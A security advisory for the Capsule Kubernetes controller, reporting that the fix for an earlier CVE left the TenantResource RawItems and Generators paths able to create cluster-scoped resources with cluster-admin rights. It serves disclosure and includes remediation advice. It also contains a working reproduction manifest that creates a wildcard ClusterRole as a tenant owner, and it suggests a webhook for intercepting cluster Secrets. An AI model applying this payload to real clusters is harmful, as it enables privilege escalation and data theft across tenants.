Advisory

GHSA-jr6p-8pjj-mfx6

Also known as: CVE-2026-65835, GO-2026-6157

Summary

Capsule has an incomplete fix of CVE-2026-22872: TenantResource RawItems and Generators still allow cluster-scoped resource creation (cross-tenant privilege escalation)

Details

Summary
CVE-2026-22872 (GHSA-qjjm-7j9w-pw72) reported that a Tenant Owner could create cluster-scoped resources
(e.g. ClusterRole, ValidatingWebhookConfiguration) through a TenantResource, because the controller
applies them with its cluster-admin ServiceAccount and SetNamespace is ineffective for cluster-scoped
kinds. The v0.13.0 fix added a cluster-scope rejection guard, but **only on the NamespacedItems selection
path** (ResourceReference.LoadResources -> IsNamespacedGVK, error `"cluster-scoped kind ... is not
allowed"`). The **RawItems create path — the exact vector the original advisory named — and the Generators
path were not given this guard.** The vulnerability therefore persists in all releases **v0.13.0 through
v0.13.7** and on trunk HEAD (8d89d6865d).

Details
TenantResource reconcile flow:

  • internal/controllers/resources/namespaced.go reconcile() obtains the apply client via loadClient(); by default (impersonation off, no Spec.ServiceAccount) this is the manager client whose SA is bound to cluster-admin (charts/capsule/templates/rbac.yaml:488-501, {fullname}-manager-rolebinding -> roleRef cluster-admin).
  • Collector.Collect() (collect.go) processes spec.RawItems via handleRawItem and spec.Generators via handleGeneratorItem.

handleRawItem (collect.go:406-425, trunk HEAD — byte-identical to v0.13.0):

tmplString := tpl.FastTemplate(string(item.Raw), opts.Iterator.FastContext)
obj := &unstructured.Unstructured{}
unstructured.UnstructuredJSONScheme.Decode([]byte(tmplString), nil, obj)
if ns != nil { obj.SetNamespace(ns.Name) }   // ONLY mitigation
return obj, nil                                // NO IsNamespacedGVK / allowClusterScoped guard

handleGeneratorItem (collect.go:382-404) is the same: it only SetNamespaces on rendered objects.

The accumulated objects flow to pkg/api/processor/processor_func.go Reconcile() -> Apply() ->
clt.PatchApply(ctx, c, obj, ...) (line 167/378) with no scope check at any point.

By contrast, CollectNamespacedItems (collect.go:308) calls item.LoadResources(..., allowClusterScoped=false),
and pkg/template/reference.go:105-107 enforces:

if !allowClusterScoped && !isNamespaced {
    return nil, fmt.Errorf("cluster-scoped kind %s/%s is not allowed", ...)
}

So the guard the fix added is real, but it sits on a different (selection) path than the one the CVE
described (RawItems create path). For cluster-scoped kinds, SetNamespace is ignored by the Kubernetes API
server, so the object is created cluster-wide by the cluster-admin client.

Parent-fix diff confirmation: in v0.12.4 the RawItems handler in processor.go was the vulnerable code
(obj.SetNamespace(ns.Name) then createOrUpdate via r.client). v0.13.0 refactored this into
collect.go handleRawItem but left it without the new guard.

Proof of Concept
A self-contained in-process Go test (incompletefix_poc_test.go), run against trunk HEAD with go1.26.4,
proves the asymmetry:

  • TestRawItemPath_NoClusterScopeGuard: feeds a ClusterRole rawItem to handleRawItem -> object returned unchanged, no rejection (PASS).
  • TestNamespacedItemsPath_HasClusterScopeGuard: feeds the same ClusterRole kind to LoadResources(allowClusterScoped=false) -> rejected with "cluster-scoped kind rbac.authorization.k8s.io/v1/ClusterRole is not allowed" (PASS).
VULNERABLE: RawItems path accepted cluster-scoped rbac.authorization.k8s.io/v1/ClusterRole;
            metadata.namespace="tenant-ns" (ignored by API server for cluster-scoped kinds)
GUARDED:    NamespacedItems path correctly rejected cluster-scoped kind:
            cluster-scoped kind rbac.authorization.k8s.io/v1/ClusterRole is not allowed

End-to-end (cluster) reproduction:

  1. Deploy capsule (default Helm) with rbac.resources.create=true (the opt-in that exposes TenantResources to tenant owners; the configuration the original CVE applies to).
  2. As a Tenant Owner, create in a tenant namespace:
   apiVersion: capsule.clastix.io/v1beta2
   kind: TenantResource
   metadata: {name: pwn, namespace: <tenant-ns>}
   spec:
     resources:
       - namespaceSelector: {matchLabels: {capsule.clastix.io/tenant: <tenant>}}
         rawItems:
           - apiVersion: rbac.authorization.k8s.io/v1
             kind: ClusterRole
             metadata: {name: tenant-escalation}
             rules: [{apiGroups: ["*"], resources: ["*"], verbs: ["*"]}]
  1. Observe the cluster-scoped ClusterRole tenant-escalation is created by the cluster-admin controller, despite the tenant owner lacking cluster RBAC to create it. Swap in ValidatingWebhookConfiguration to intercept/exfiltrate cluster-wide Secrets.

Impact
A Tenant Owner (namespace-scoped) escalates to cluster-admin-equivalent privileges and can compromise all
tenants and the cluster control plane. Identical impact to CVE-2026-22872; the v0.13.0 remediation does not
close the RawItems/Generators vector.

Remediation
Apply the same IsNamespacedGVK / allowClusterScoped rejection inside handleRawItem and
handleGeneratorItem — or centrally in Collector.AddToAccumulation / processor.Apply — so the create
path enforces the same cluster-scope policy as the selection path. (GlobalTenantResource shares the path
but is not a privesc — cluster-admin-only to create.)

Severity

Medium Basis: The source's own band: MODERATE

Dates

Published
2026-07-31 16:53 UTC
Modified
2026-08-18 15:10 UTC

Affected packages and fixes

github.com/projectcapsule/capsule

Go · All systems

Affected

  • introduced 0.13.0, fixed 0.13.8 (semver)

Fixed versions

0.13.8

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

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Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences